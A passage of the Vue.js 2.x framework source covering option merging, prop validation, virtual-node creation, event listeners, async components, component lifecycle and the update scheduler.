return childVal
}
// when parentVal & childVal are both present,
// we need to return a function that returns the
// merged result of both functions... no need to
// check if parentVal is a function here because
// it has to be a function to pass previous merges.
return function mergedDataFn () {
return mergeData(
childVal.call(this),
parentVal.call(this)
)
}
} else if (parentVal || childVal) {
return function mergedInstanceDataFn () {
// instance merge
var instanceData = typeof childVal === 'function'
? childVal.call(vm)
: childVal;
var defaultData = typeof parentVal === 'function'
? parentVal.call(vm)
: undefined;
if (instanceData) {
return mergeData(instanceData, defaultData)
} else {
return defaultData
}
}
}
};
/**
* Hooks and props are merged as arrays.
*/
function mergeHook (
parentVal,
childVal
) {
return childVal
? parentVal
? parentVal.concat(childVal)
: Array.isArray(childVal)
? childVal
: [childVal]
: parentVal
}
LIFECYCLE_HOOKS.forEach(function (hook) {
strats[hook] = mergeHook;
});
/**
* Assets
*
* When a vm is present (instance creation), we need to do
* a three-way merge between constructor options, instance
* options and parent options.
*/
function mergeAssets (parentVal, childVal) {
var res = Object.create(parentVal || null);
return childVal
? extend(res, childVal)
: res
}
ASSET_TYPES.forEach(function (type) {
strats[type + 's'] = mergeAssets;
});
/**
* Watchers.
*
* Watchers hashes should not overwrite one
* another, so we merge them as arrays.
*/
strats.watch = function (parentVal, childVal) {
/* istanbul ignore if */
if (!childVal) { return Object.create(parentVal || null) }
if (!parentVal) { return childVal }
var ret = {};
extend(ret, parentVal);
for (var key in childVal) {
var parent = ret[key];
var child = childVal[key];
if (parent && !Array.isArray(parent)) {
parent = [parent];
}
ret[key] = parent
? parent.concat(child)
: [child];
}
return ret
};
/**
* Other object hashes.
*/
strats.props =
strats.methods =
strats.computed = function (parentVal, childVal) {
if (!childVal) { return Object.create(parentVal || null) }
if (!parentVal) { return childVal }
var ret = Object.create(null);
extend(ret, parentVal);
extend(ret, childVal);
return ret
};
/**
* Default strategy.
*/
var defaultStrat = function (parentVal, childVal) {
return childVal === undefined
? parentVal
: childVal
};
/**
* Validate component names
*/
function checkComponents (options) {
for (var key in options.components) {
var lower = key.toLowerCase();
if (isBuiltInTag(lower) || config.isReservedTag(lower)) {
warn(
'Do not use built-in or reserved HTML elements as component ' +
'id: ' + key
);
}
}
}
/**
* Ensure all props option syntax are normalized into the
* Object-based format.
*/
function normalizeProps (options) {
var props = options.props;
if (!props) { return }
var res = {};
var i, val, name;
if (Array.isArray(props)) {
i = props.length;
while (i--) {
val = props[i];
if (typeof val === 'string') {
name = camelize(val);
res[name] = { type: null };
} else if (process.env.NODE_ENV !== 'production') {
warn('props must be strings when using array syntax.');
}
}
} else if (isPlainObject(props)) {
for (var key in props) {
val = props[key];
name = camelize(key);
res[name] = isPlainObject(val)
? val
: { type: val };
}
}
options.props = res;
}
/**
* Normalize raw function directives into object format.
*/
function normalizeDirectives (options) {
var dirs = options.directives;
if (dirs) {
for (var key in dirs) {
var def = dirs[key];
if (typeof def === 'function') {
dirs[key] = { bind: def, update: def };
}
}
}
}
/**
* Merge two option objects into a new one.
* Core utility used in both instantiation and inheritance.
*/
function mergeOptions (
parent,
child,
vm
) {
if (process.env.NODE_ENV !== 'production') {
checkComponents(child);
}
if (typeof child === 'function') {
child = child.options;
}
normalizeProps(child);
normalizeDirectives(child);
var extendsFrom = child.extends;
if (extendsFrom) {
parent = mergeOptions(parent, extendsFrom, vm);
}
if (child.mixins) {
for (var i = 0, l = child.mixins.length; i < l; i++) {
parent = mergeOptions(parent, child.mixins[i], vm);
}
}
var options = {};
var key;
for (key in parent) {
mergeField(key);
}
for (key in child) {
if (!hasOwn(parent, key)) {
mergeField(key);
}
}
function mergeField (key) {
var strat = strats[key] || defaultStrat;
options[key] = strat(parent[key], child[key], vm, key);
}
return options
}
/**
* Resolve an asset.
* This function is used because child instances need access
* to assets defined in its ancestor chain.
*/
function resolveAsset (
options,
type,
id,
warnMissing
) {
/* istanbul ignore if */
if (typeof id !== 'string') {
return
}
var assets = options[type];
// check local registration variations first
if (hasOwn(assets, id)) { return assets[id] }
var camelizedId = camelize(id);
if (hasOwn(assets, camelizedId)) { return assets[camelizedId] }
var PascalCaseId = capitalize(camelizedId);
if (hasOwn(assets, PascalCaseId)) { return assets[PascalCaseId] }
// fallback to prototype chain
var res = assets[id] || assets[camelizedId] || assets[PascalCaseId];
if (process.env.NODE_ENV !== 'production' && warnMissing && !res) {
warn(
'Failed to resolve ' + type.slice(0, -1) + ': ' + id,
options
);
}
return res
}
/* */
function validateProp (
key,
propOptions,
propsData,
vm
) {
var prop = propOptions[key];
var absent = !hasOwn(propsData, key);
var value = propsData[key];
// handle boolean props
if (isType(Boolean, prop.type)) {
if (absent && !hasOwn(prop, 'default')) {
value = false;
} else if (!isType(String, prop.type) && (value === '' || value === hyphenate(key))) {
value = true;
}
}
// check default value
if (value === undefined) {
value = getPropDefaultValue(vm, prop, key);
// since the default value is a fresh copy,
// make sure to observe it.
var prevShouldConvert = observerState.shouldConvert;
observerState.shouldConvert = true;
observe(value);
observerState.shouldConvert = prevShouldConvert;
}
if (process.env.NODE_ENV !== 'production') {
assertProp(prop, key, value, vm, absent);
}
return value
}
/**
* Get the default value of a prop.
*/
function getPropDefaultValue (vm, prop, key) {
// no default, return undefined
if (!hasOwn(prop, 'default')) {
return undefined
}
var def = prop.default;
// warn against non-factory defaults for Object & Array
if (process.env.NODE_ENV !== 'production' && isObject(def)) {
warn(
'Invalid default value for prop "' + key + '": ' +
'Props with type Object/Array must use a factory function ' +
'to return the default value.',
vm
);
}
// the raw prop value was also undefined from previous render,
// return previous default value to avoid unnecessary watcher trigger
if (vm && vm.$options.propsData &&
vm.$options.propsData[key] === undefined &&
vm._props[key] !== undefined
) {
return vm._props[key]
}
// call factory function for non-Function types
// a value is Function if its prototype is function even across different execution context
return typeof def === 'function' && getType(prop.type) !== 'Function'
? def.call(vm)
: def
}
/**
* Assert whether a prop is valid.
*/
function assertProp (
prop,
name,
value,
vm,
absent
) {
if (prop.required && absent) {
warn(
'Missing required prop: "' + name + '"',
vm
);
return
}
if (value == null && !prop.required) {
return
}
var type = prop.type;
var valid = !type || type === true;
var expectedTypes = [];
if (type) {
if (!Array.isArray(type)) {
type = [type];
}
for (var i = 0; i < type.length && !valid; i++) {
var assertedType = assertType(value, type[i]);
expectedTypes.push(assertedType.expectedType || '');
valid = assertedType.valid;
}
}
if (!valid) {
warn(
'Invalid prop: type check failed for prop "' + name + '".' +
' Expected ' + expectedTypes.map(capitalize).join(', ') +
', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',
vm
);
return
}
var validator = prop.validator;
if (validator) {
if (!validator(value)) {
warn(
'Invalid prop: custom validator check failed for prop "' + name + '".',
vm
);
}
}
}
var simpleCheckRE = /^(String|Number|Boolean|Function|Symbol)$/;
function assertType (value, type) {
var valid;
var expectedType = getType(type);
if (simpleCheckRE.test(expectedType)) {
valid = typeof value === expectedType.toLowerCase();
} else if (expectedType === 'Object') {
valid = isPlainObject(value);
} else if (expectedType === 'Array') {
valid = Array.isArray(value);
} else {
valid = value instanceof type;
}
return {
valid: valid,
expectedType: expectedType
}
}
/**
* Use function string name to check built-in types,
* because a simple equality check will fail when running
* across different vms / iframes.
*/
function getType (fn) {
var match = fn && fn.toString().match(/^\s*function (\w+)/);
return match ? match[1] : ''
}
function isType (type, fn) {
if (!Array.isArray(fn)) {
return getType(fn) === getType(type)
}
for (var i = 0, len = fn.length; i < len; i++) {
if (getType(fn[i]) === getType(type)) {
return true
}
}
/* istanbul ignore next */
return false
}
/* */
var mark;
var measure;
if (process.env.NODE_ENV !== 'production') {
var perf = inBrowser && window.performance;
/* istanbul ignore if */
if (
perf &&
perf.mark &&
perf.measure &&
perf.clearMarks &&
perf.clearMeasures
) {
mark = function (tag) { return perf.mark(tag); };
measure = function (name, startTag, endTag) {
perf.measure(name, startTag, endTag);
perf.clearMarks(startTag);
perf.clearMarks(endTag);
perf.clearMeasures(name);
};
}
}
/* not type checking this file because flow doesn't play well with Proxy */
var initProxy;
if (process.env.NODE_ENV !== 'production') {
var allowedGlobals = makeMap(
'Infinity,undefined,NaN,isFinite,isNaN,' +
'parseFloat,parseInt,decodeURI,decodeURIComponent,encodeURI,encodeURIComponent,' +
'Math,Number,Date,Array,Object,Boolean,String,RegExp,Map,Set,JSON,Intl,' +
'require' // for Webpack/Browserify
);
var warnNonPresent = function (target, key) {
warn(
"Property or method \"" + key + "\" is not defined on the instance but " +
"referenced during render. Make sure to declare reactive data " +
"properties in the data option.",
target
);
};
var hasProxy =
typeof Proxy !== 'undefined' &&
Proxy.toString().match(/native code/);
if (hasProxy) {
var isBuiltInModifier = makeMap('stop,prevent,self,ctrl,shift,alt,meta');
config.keyCodes = new Proxy(config.keyCodes, {
set: function set (target, key, value) {
if (isBuiltInModifier(key)) {
warn(("Avoid overwriting built-in modifier in config.keyCodes: ." + key));
return false
} else {
target[key] = value;
return true
}
}
});
}
var hasHandler = {
has: function has (target, key) {
var has = key in target;
var isAllowed = allowedGlobals(key) || key.charAt(0) === '_';
if (!has && !isAllowed) {
warnNonPresent(target, key);
}
return has || !isAllowed
}
};
var getHandler = {
get: function get (target, key) {
if (typeof key === 'string' && !(key in target)) {
warnNonPresent(target, key);
}
return target[key]
}
};
initProxy = function initProxy (vm) {
if (hasProxy) {
// determine which proxy handler to use
var options = vm.$options;
var handlers = options.render && options.render._withStripped
? getHandler
: hasHandler;
vm._renderProxy = new Proxy(vm, handlers);
} else {
vm._renderProxy = vm;
}
};
}
/* */
var VNode = function VNode (
tag,
data,
children,
text,
elm,
context,
componentOptions
) {
this.tag = tag;
this.data = data;
this.children = children;
this.text = text;
this.elm = elm;
this.ns = undefined;
this.context = context;
this.functionalContext = undefined;
this.key = data && data.key;
this.componentOptions = componentOptions;
this.componentInstance = undefined;
this.parent = undefined;
this.raw = false;
this.isStatic = false;
this.isRootInsert = true;
this.isComment = false;
this.isCloned = false;
this.isOnce = false;
};
var prototypeAccessors = { child: {} };
// DEPRECATED: alias for componentInstance for backwards compat.
/* istanbul ignore next */
prototypeAccessors.child.get = function () {
return this.componentInstance
};
Object.defineProperties( VNode.prototype, prototypeAccessors );
var createEmptyVNode = function () {
var node = new VNode();
node.text = '';
node.isComment = true;
return node
};
function createTextVNode (val) {
return new VNode(undefined, undefined, undefined, String(val))
}
// optimized shallow clone
// used for static nodes and slot nodes because they may be reused across
// multiple renders, cloning them avoids errors when DOM manipulations rely
// on their elm reference.
function cloneVNode (vnode) {
var cloned = new VNode(
vnode.tag,
vnode.data,
vnode.children,
vnode.text,
vnode.elm,
vnode.context,
vnode.componentOptions
);
cloned.ns = vnode.ns;
cloned.isStatic = vnode.isStatic;
cloned.key = vnode.key;
cloned.isComment = vnode.isComment;
cloned.isCloned = true;
return cloned
}
function cloneVNodes (vnodes) {
var len = vnodes.length;
var res = new Array(len);
for (var i = 0; i < len; i++) {
res[i] = cloneVNode(vnodes[i]);
}
return res
}
/* */
var normalizeEvent = cached(function (name) {
var passive = name.charAt(0) === '&';
name = passive ? name.slice(1) : name;
var once$$1 = name.charAt(0) === '~'; // Prefixed last, checked first
name = once$$1 ? name.slice(1) : name;
var capture = name.charAt(0) === '!';
name = capture ? name.slice(1) : name;
return {
name: name,
once: once$$1,
capture: capture,
passive: passive
}
});
function createFnInvoker (fns) {
function invoker () {
var arguments$1 = arguments;
var fns = invoker.fns;
if (Array.isArray(fns)) {
for (var i = 0; i < fns.length; i++) {
fns[i].apply(null, arguments$1);
}
} else {
// return handler return value for single handlers
return fns.apply(null, arguments)
}
}
invoker.fns = fns;
return invoker
}
function updateListeners (
on,
oldOn,
add,
remove$$1,
vm
) {
var name, cur, old, event;
for (name in on) {
cur = on[name];
old = oldOn[name];
event = normalizeEvent(name);
if (isUndef(cur)) {
process.env.NODE_ENV !== 'production' && warn(
"Invalid handler for event \"" + (event.name) + "\": got " + String(cur),
vm
);
} else if (isUndef(old)) {
if (isUndef(cur.fns)) {
cur = on[name] = createFnInvoker(cur);
}
add(event.name, cur, event.once, event.capture, event.passive);
} else if (cur !== old) {
old.fns = cur;
on[name] = old;
}
}
for (name in oldOn) {
if (isUndef(on[name])) {
event = normalizeEvent(name);
remove$$1(event.name, oldOn[name], event.capture);
}
}
}
/* */
function mergeVNodeHook (def, hookKey, hook) {
var invoker;
var oldHook = def[hookKey];
function wrappedHook () {
hook.apply(this, arguments);
// important: remove merged hook to ensure it's called only once
// and prevent memory leak
remove(invoker.fns, wrappedHook);
}
if (isUndef(oldHook)) {
// no existing hook
invoker = createFnInvoker([wrappedHook]);
} else {
/* istanbul ignore if */
if (isDef(oldHook.fns) && isTrue(oldHook.merged)) {
// already a merged invoker
invoker = oldHook;
invoker.fns.push(wrappedHook);
} else {
// existing plain hook
invoker = createFnInvoker([oldHook, wrappedHook]);
}
}
invoker.merged = true;
def[hookKey] = invoker;
}
/* */
function extractPropsFromVNodeData (
data,
Ctor,
tag
) {
// we are only extracting raw values here.
// validation and default values are handled in the child
// component itself.
var propOptions = Ctor.options.props;
if (isUndef(propOptions)) {
return
}
var res = {};
var attrs = data.attrs;
var props = data.props;
if (isDef(attrs) || isDef(props)) {
for (var key in propOptions) {
var altKey = hyphenate(key);
if (process.env.NODE_ENV !== 'production') {
var keyInLowerCase = key.toLowerCase();
if (
key !== keyInLowerCase &&
attrs && hasOwn(attrs, keyInLowerCase)
) {
tip(
"Prop \"" + keyInLowerCase + "\" is passed to component " +
(formatComponentName(tag || Ctor)) + ", but the declared prop name is" +
" \"" + key + "\". " +
"Note that HTML attributes are case-insensitive and camelCased " +
"props need to use their kebab-case equivalents when using in-DOM " +
"templates. You should probably use \"" + altKey + "\" instead of \"" + key + "\"."
);
}
}
checkProp(res, props, key, altKey, true) ||
checkProp(res, attrs, key, altKey, false);
}
}
return res
}
function checkProp (
res,
hash,
key,
altKey,
preserve
) {
if (isDef(hash)) {
if (hasOwn(hash, key)) {
res[key] = hash[key];
if (!preserve) {
delete hash[key];
}
return true
} else if (hasOwn(hash, altKey)) {
res[key] = hash[altKey];
if (!preserve) {
delete hash[altKey];
}
return true
}
}
return false
}
/* */
// The template compiler attempts to minimize the need for normalization by
// statically analyzing the template at compile time.
//
// For plain HTML markup, normalization can be completely skipped because the
// generated render function is guaranteed to return Array<VNode>. There are
// two cases where extra normalization is needed:
// 1. When the children contains components - because a functional component
// may return an Array instead of a single root. In this case, just a simple
// normalization is needed - if any child is an Array, we flatten the whole
// thing with Array.prototype.concat. It is guaranteed to be only 1-level deep
// because functional components already normalize their own children.
function simpleNormalizeChildren (children) {
for (var i = 0; i < children.length; i++) {
if (Array.isArray(children[i])) {
return Array.prototype.concat.apply([], children)
}
}
return children
}
// 2. When the children contains constructs that always generated nested Arrays,
// e.g. <template>, <slot>, v-for, or when the children is provided by user
// with hand-written render functions / JSX. In such cases a full normalization
// is needed to cater to all possible types of children values.
function normalizeChildren (children) {
return isPrimitive(children)
? [createTextVNode(children)]
: Array.isArray(children)
? normalizeArrayChildren(children)
: undefined
}
function isTextNode (node) {
return isDef(node) && isDef(node.text) && isFalse(node.isComment)
}
function normalizeArrayChildren (children, nestedIndex) {
var res = [];
var i, c, last;
for (i = 0; i < children.length; i++) {
c = children[i];
if (isUndef(c) || typeof c === 'boolean') { continue }
last = res[res.length - 1];
// nested
if (Array.isArray(c)) {
res.push.apply(res, normalizeArrayChildren(c, ((nestedIndex || '') + "_" + i)));
} else if (isPrimitive(c)) {
if (isTextNode(last)) {
// merge adjacent text nodes
// this is necessary for SSR hydration because text nodes are
// essentially merged when rendered to HTML strings
(last).text += String(c);
} else if (c !== '') {
// convert primitive to vnode
res.push(createTextVNode(c));
}
} else {
if (isTextNode(c) && isTextNode(last)) {
// merge adjacent text nodes
res[res.length - 1] = createTextVNode(last.text + c.text);
} else {
// default key for nested array children (likely generated by v-for)
if (isTrue(children._isVList) &&
isDef(c.tag) &&
isUndef(c.key) &&
isDef(nestedIndex)) {
c.key = "__vlist" + nestedIndex + "_" + i + "__";
}
res.push(c);
}
}
}
return res
}
/* */
function ensureCtor (comp, base) {
return isObject(comp)
? base.extend(comp)
: comp
}
function resolveAsyncComponent (
factory,
baseCtor,
context
) {
if (isTrue(factory.error) && isDef(factory.errorComp)) {
return factory.errorComp
}
if (isDef(factory.resolved)) {
return factory.resolved
}
if (isTrue(factory.loading) && isDef(factory.loadingComp)) {
return factory.loadingComp
}
if (isDef(factory.contexts)) {
// already pending
factory.contexts.push(context);
} else {
var contexts = factory.contexts = [context];
var sync = true;
var forceRender = function () {
for (var i = 0, l = contexts.length; i < l; i++) {
contexts[i].$forceUpdate();
}
};
var resolve = once(function (res) {
// cache resolved
factory.resolved = ensureCtor(res, baseCtor);
// invoke callbacks only if this is not a synchronous resolve
// (async resolves are shimmed as synchronous during SSR)
if (!sync) {
forceRender();
}
});
var reject = once(function (reason) {
process.env.NODE_ENV !== 'production' && warn(
"Failed to resolve async component: " + (String(factory)) +
(reason ? ("\nReason: " + reason) : '')
);
if (isDef(factory.errorComp)) {
factory.error = true;
forceRender();
}
});
var res = factory(resolve, reject);
if (isObject(res)) {
if (typeof res.then === 'function') {
// () => Promise
if (isUndef(factory.resolved)) {
res.then(resolve, reject);
}
} else if (isDef(res.component) && typeof res.component.then === 'function') {
res.component.then(resolve, reject);
if (isDef(res.error)) {
factory.errorComp = ensureCtor(res.error, baseCtor);
}
if (isDef(res.loading)) {
factory.loadingComp = ensureCtor(res.loading, baseCtor);
if (res.delay === 0) {
factory.loading = true;
} else {
setTimeout(function () {
if (isUndef(factory.resolved) && isUndef(factory.error)) {
factory.loading = true;
forceRender();
}
}, res.delay || 200);
}
}
if (isDef(res.timeout)) {
setTimeout(function () {
if (isUndef(factory.resolved)) {
reject(
process.env.NODE_ENV !== 'production'
? ("timeout (" + (res.timeout) + "ms)")
: null
);
}
}, res.timeout);
}
}
}
sync = false;
// return in case resolved synchronously
return factory.loading
? factory.loadingComp
: factory.resolved
}
}
/* */
function getFirstComponentChild (children) {
if (Array.isArray(children)) {
for (var i = 0; i < children.length; i++) {
var c = children[i];
if (isDef(c) && isDef(c.componentOptions)) {
return c
}
}
}
}
/* */
/* */
function initEvents (vm) {
vm._events = Object.create(null);
vm._hasHookEvent = false;
// init parent attached events
var listeners = vm.$options._parentListeners;
if (listeners) {
updateComponentListeners(vm, listeners);
}
}
var target;
function add (event, fn, once$$1) {
if (once$$1) {
target.$once(event, fn);
} else {
target.$on(event, fn);
}
}
function remove$1 (event, fn) {
target.$off(event, fn);
}
function updateComponentListeners (
vm,
listeners,
oldListeners
) {
target = vm;
updateListeners(listeners, oldListeners || {}, add, remove$1, vm);
}
function eventsMixin (Vue) {
var hookRE = /^hook:/;
Vue.prototype.$on = function (event, fn) {
var this$1 = this;
var vm = this;
if (Array.isArray(event)) {
for (var i = 0, l = event.length; i < l; i++) {
this$1.$on(event[i], fn);
}
} else {
(vm._events[event] || (vm._events[event] = [])).push(fn);
// optimize hook:event cost by using a boolean flag marked at registration
// instead of a hash lookup
if (hookRE.test(event)) {
vm._hasHookEvent = true;
}
}
return vm
};
Vue.prototype.$once = function (event, fn) {
var vm = this;
function on () {
vm.$off(event, on);
fn.apply(vm, arguments);
}
on.fn = fn;
vm.$on(event, on);
return vm
};
Vue.prototype.$off = function (event, fn) {
var this$1 = this;
var vm = this;
// all
if (!arguments.length) {
vm._events = Object.create(null);
return vm
}
// array of events
if (Array.isArray(event)) {
for (var i$1 = 0, l = event.length; i$1 < l; i$1++) {
this$1.$off(event[i$1], fn);
}
return vm
}
// specific event
var cbs = vm._events[event];
if (!cbs) {
return vm
}
if (arguments.length === 1) {
vm._events[event] = null;
return vm
}
// specific handler
var cb;
var i = cbs.length;
while (i--) {
cb = cbs[i];
if (cb === fn || cb.fn === fn) {
cbs.splice(i, 1);
break
}
}
return vm
};
Vue.prototype.$emit = function (event) {
var vm = this;
if (process.env.NODE_ENV !== 'production') {
var lowerCaseEvent = event.toLowerCase();
if (lowerCaseEvent !== event && vm._events[lowerCaseEvent]) {
tip(
"Event \"" + lowerCaseEvent + "\" is emitted in component " +
(formatComponentName(vm)) + " but the handler is registered for \"" + event + "\". " +
"Note that HTML attributes are case-insensitive and you cannot use " +
"v-on to listen to camelCase events when using in-DOM templates. " +
"You should probably use \"" + (hyphenate(event)) + "\" instead of \"" + event + "\"."
);
}
}
var cbs = vm._events[event];
if (cbs) {
cbs = cbs.length > 1 ? toArray(cbs) : cbs;
var args = toArray(arguments, 1);
for (var i = 0, l = cbs.length; i < l; i++) {
cbs[i].apply(vm, args);
}
}
return vm
};
}
/* */
/**
* Runtime helper for resolving raw children VNodes into a slot object.
*/
function resolveSlots (
children,
context
) {
var slots = {};
if (!children) {
return slots
}
var defaultSlot = [];
for (var i = 0, l = children.length; i < l; i++) {
var child = children[i];
// named slots should only be respected if the vnode was rendered in the
// same context.
if ((child.context === context || child.functionalContext === context) &&
child.data && child.data.slot != null
) {
var name = child.data.slot;
var slot = (slots[name] || (slots[name] = []));
if (child.tag === 'template') {
slot.push.apply(slot, child.children);
} else {
slot.push(child);
}
} else {
defaultSlot.push(child);
}
}
// ignore whitespace
if (!defaultSlot.every(isWhitespace)) {
slots.default = defaultSlot;
}
return slots
}
function isWhitespace (node) {
return node.isComment || node.text === ' '
}
function resolveScopedSlots (
fns, // see flow/vnode
res
) {
res = res || {};
for (var i = 0; i < fns.length; i++) {
if (Array.isArray(fns[i])) {
resolveScopedSlots(fns[i], res);
} else {
res[fns[i].key] = fns[i].fn;
}
}
return res
}
/* */
var activeInstance = null;
function initLifecycle (vm) {
var options = vm.$options;
// locate first non-abstract parent
var parent = options.parent;
if (parent && !options.abstract) {
while (parent.$options.abstract && parent.$parent) {
parent = parent.$parent;
}
parent.$children.push(vm);
}
vm.$parent = parent;
vm.$root = parent ? parent.$root : vm;
vm.$children = [];
vm.$refs = {};
vm._watcher = null;
vm._inactive = null;
vm._directInactive = false;
vm._isMounted = false;
vm._isDestroyed = false;
vm._isBeingDestroyed = false;
}
function lifecycleMixin (Vue) {
Vue.prototype._update = function (vnode, hydrating) {
var vm = this;
if (vm._isMounted) {
callHook(vm, 'beforeUpdate');
}
var prevEl = vm.$el;
var prevVnode = vm._vnode;
var prevActiveInstance = activeInstance;
activeInstance = vm;
vm._vnode = vnode;
// Vue.prototype.__patch__ is injected in entry points
// based on the rendering backend used.
if (!prevVnode) {
// initial render
vm.$el = vm.__patch__(
vm.$el, vnode, hydrating, false /* removeOnly */,
vm.$options._parentElm,
vm.$options._refElm
);
} else {
// updates
vm.$el = vm.__patch__(prevVnode, vnode);
}
activeInstance = prevActiveInstance;
// update __vue__ reference
if (prevEl) {
prevEl.__vue__ = null;
}
if (vm.$el) {
vm.$el.__vue__ = vm;
}
// if parent is an HOC, update its $el as well
if (vm.$vnode && vm.$parent && vm.$vnode === vm.$parent._vnode) {
vm.$parent.$el = vm.$el;
}
// updated hook is called by the scheduler to ensure that children are
// updated in a parent's updated hook.
};
Vue.prototype.$forceUpdate = function () {
var vm = this;
if (vm._watcher) {
vm._watcher.update();
}
};
Vue.prototype.$destroy = function () {
var vm = this;
if (vm._isBeingDestroyed) {
return
}
callHook(vm, 'beforeDestroy');
vm._isBeingDestroyed = true;
// remove self from parent
var parent = vm.$parent;
if (parent && !parent._isBeingDestroyed && !vm.$options.abstract) {
remove(parent.$children, vm);
}
// teardown watchers
if (vm._watcher) {
vm._watcher.teardown();
}
var i = vm._watchers.length;
while (i--) {
vm._watchers[i].teardown();
}
// remove reference from data ob
// frozen object may not have observer.
if (vm._data.__ob__) {
vm._data.__ob__.vmCount--;
}
// call the last hook...
vm._isDestroyed = true;
// invoke destroy hooks on current rendered tree
vm.__patch__(vm._vnode, null);
// fire destroyed hook
callHook(vm, 'destroyed');
// turn off all instance listeners.
vm.$off();
// remove __vue__ reference
if (vm.$el) {
vm.$el.__vue__ = null;
}
// remove reference to DOM nodes (prevents leak)
vm.$options._parentElm = vm.$options._refElm = null;
};
}
function mountComponent (
vm,
el,
hydrating
) {
vm.$el = el;
if (!vm.$options.render) {
vm.$options.render = createEmptyVNode;
if (process.env.NODE_ENV !== 'production') {
/* istanbul ignore if */
if ((vm.$options.template && vm.$options.template.charAt(0) !== '#') ||
vm.$options.el || el) {
warn(
'You are using the runtime-only build of Vue where the template ' +
'compiler is not available. Either pre-compile the templates into ' +
'render functions, or use the compiler-included build.',
vm
);
} else {
warn(
'Failed to mount component: template or render function not defined.',
vm
);
}
}
}
callHook(vm, 'beforeMount');
var updateComponent;
/* istanbul ignore if */
if (process.env.NODE_ENV !== 'production' && config.performance && mark) {
updateComponent = function () {
var name = vm._name;
var id = vm._uid;
var startTag = "vue-perf-start:" + id;
var endTag = "vue-perf-end:" + id;
mark(startTag);
var vnode = vm._render();
mark(endTag);
measure((name + " render"), startTag, endTag);
mark(startTag);
vm._update(vnode, hydrating);
mark(endTag);
measure((name + " patch"), startTag, endTag);
};
} else {
updateComponent = function () {
vm._update(vm._render(), hydrating);
};
}
vm._watcher = new Watcher(vm, updateComponent, noop);
hydrating = false;
// manually mounted instance, call mounted on self
// mounted is called for render-created child components in its inserted hook
if (vm.$vnode == null) {
vm._isMounted = true;
callHook(vm, 'mounted');
}
return vm
}
function updateChildComponent (
vm,
propsData,
listeners,
parentVnode,
renderChildren
) {
// determine whether component has slot children
// we need to do this before overwriting $options._renderChildren
var hasChildren = !!(
renderChildren || // has new static slots
vm.$options._renderChildren || // has old static slots
parentVnode.data.scopedSlots || // has new scoped slots
vm.$scopedSlots !== emptyObject // has old scoped slots
);
vm.$options._parentVnode = parentVnode;
vm.$vnode = parentVnode; // update vm's placeholder node without re-render
if (vm._vnode) { // update child tree's parent
vm._vnode.parent = parentVnode;
}
vm.$options._renderChildren = renderChildren;
// update props
if (propsData && vm.$options.props) {
observerState.shouldConvert = false;
if (process.env.NODE_ENV !== 'production') {
observerState.isSettingProps = true;
}
var props = vm._props;
var propKeys = vm.$options._propKeys || [];
for (var i = 0; i < propKeys.length; i++) {
var key = propKeys[i];
props[key] = validateProp(key, vm.$options.props, propsData, vm);
}
observerState.shouldConvert = true;
if (process.env.NODE_ENV !== 'production') {
observerState.isSettingProps = false;
}
// keep a copy of raw propsData
vm.$options.propsData = propsData;
}
// update listeners
if (listeners) {
var oldListeners = vm.$options._parentListeners;
vm.$options._parentListeners = listeners;
updateComponentListeners(vm, listeners, oldListeners);
}
// resolve slots + force update if has children
if (hasChildren) {
vm.$slots = resolveSlots(renderChildren, parentVnode.context);
vm.$forceUpdate();
}
}
function isInInactiveTree (vm) {
while (vm && (vm = vm.$parent)) {
if (vm._inactive) { return true }
}
return false
}
function activateChildComponent (vm, direct) {
if (direct) {
vm._directInactive = false;
if (isInInactiveTree(vm)) {
return
}
} else if (vm._directInactive) {
return
}
if (vm._inactive || vm._inactive === null) {
vm._inactive = false;
for (var i = 0; i < vm.$children.length; i++) {
activateChildComponent(vm.$children[i]);
}
callHook(vm, 'activated');
}
}
function deactivateChildComponent (vm, direct) {
if (direct) {
vm._directInactive = true;
if (isInInactiveTree(vm)) {
return
}
}
if (!vm._inactive) {
vm._inactive = true;
for (var i = 0; i < vm.$children.length; i++) {
deactivateChildComponent(vm.$children[i]);
}
callHook(vm, 'deactivated');
}
}
function callHook (vm, hook) {
var handlers = vm.$options[hook];
if (handlers) {
for (var i = 0, j = handlers.length; i < j; i++) {
try {
handlers[i].call(vm);
} catch (e) {
handleError(e, vm, (hook + " hook"));
}
}
}
if (vm._hasHookEvent) {
vm.$emit('hook:' + hook);
}
}
/* */
var MAX_UPDATE_COUNT = 100;
var queue = [];
var activatedChildren = [];
var has = {};
var circular = {};
var waiting = false;
var flushing = false;
var index = 0;
/**
* Reset the scheduler's state.
*/
function resetSchedulerState () {
index = queue.length = activatedChildren.length = 0;
has = {};
if (process.env.NODE_ENV !== 'production') {
circular = {};
}
waiting = flushing = false;
}
/**
* Flush both queues and run the watchers.
*/
function flushSchedulerQueue () {
flushing = true;
var watcher, id;
// Sort queue before flush.
// This ensures that:
// 1. Components are updated from parent to child. (because parent is always
// created before the child)
// 2. A component's user watchers are run before its render watcher (because
// user watchers are created before the render watcher)
// 3. If a component is destroyed during a parent component's watcher run,
// its watchers can be skipped.
queue.sort(function (a, b) { return a.id - b.id; });
// do not cache length because more watchers might be pushed
// as we run existing watchers
for (index = 0; index < queue.length; index++) {
watcher = queue[index];
id = watcher.id;
has[id] = null;
watcher.run();
// in dev build, check and stop circular updates.
if (process.env.NODE_ENV !== 'production' && has[id] != null) {
circular[id] = (circular[id] || 0) + 1;
if (circular[id] > MAX_UPDATE_COUNT) {
warn(
'You may have an infinite update loop ' + (
watcher.user
? ("in watcher with expression \"" + (watcher.expression) + "\"")
: "in a component render function."
),
watcher.vm
);
break
}
}
}
// keep copies of post queues before resetting state
var activatedQueue = activatedChildren.slice();
var updatedQueue = queue.slice();
resetSchedulerState();
// call component updated and activated hooks
callActivatedHooks(activatedQueue);
callUpdateHooks(updatedQueue);
// devtool hook
/* istanbul ignore if */
if (devtools && config.devtools) {
devtools.emit('flush');
}
}
function callUpdateHooks (queue) {
var i = queue.length;
while (i--) {
var watcher = queue[i];
var vm = watcher.vm;
if (vm._watcher === watcher && vm._isMounted) {
callHook(vm, 'updated');
}
}
}
/**
* Queue a kept-alive component that was activated during patch.
* The queue will be processed after the entire tree has been patched.
*/
function queueActivatedComponent (vm) {
// setting _inactive to false here so that a render function can
// rely on checking whether it's in an inactive tree (e.g. router-view)
vm._inactive = false;
activatedChildren.push(vm);
}
function callActivatedHooks (queue) {
for (var i = 0; i < queue.length; i++) {
queue[i]._inactive = true;
activateChildComponent(queue[i], true /* true */);
}
}
/**
* Push a watcher into the watcher queue.
* Jobs with duplicate IDs will be skipped unless it's
* pushed when the queue is being flushed.
*/
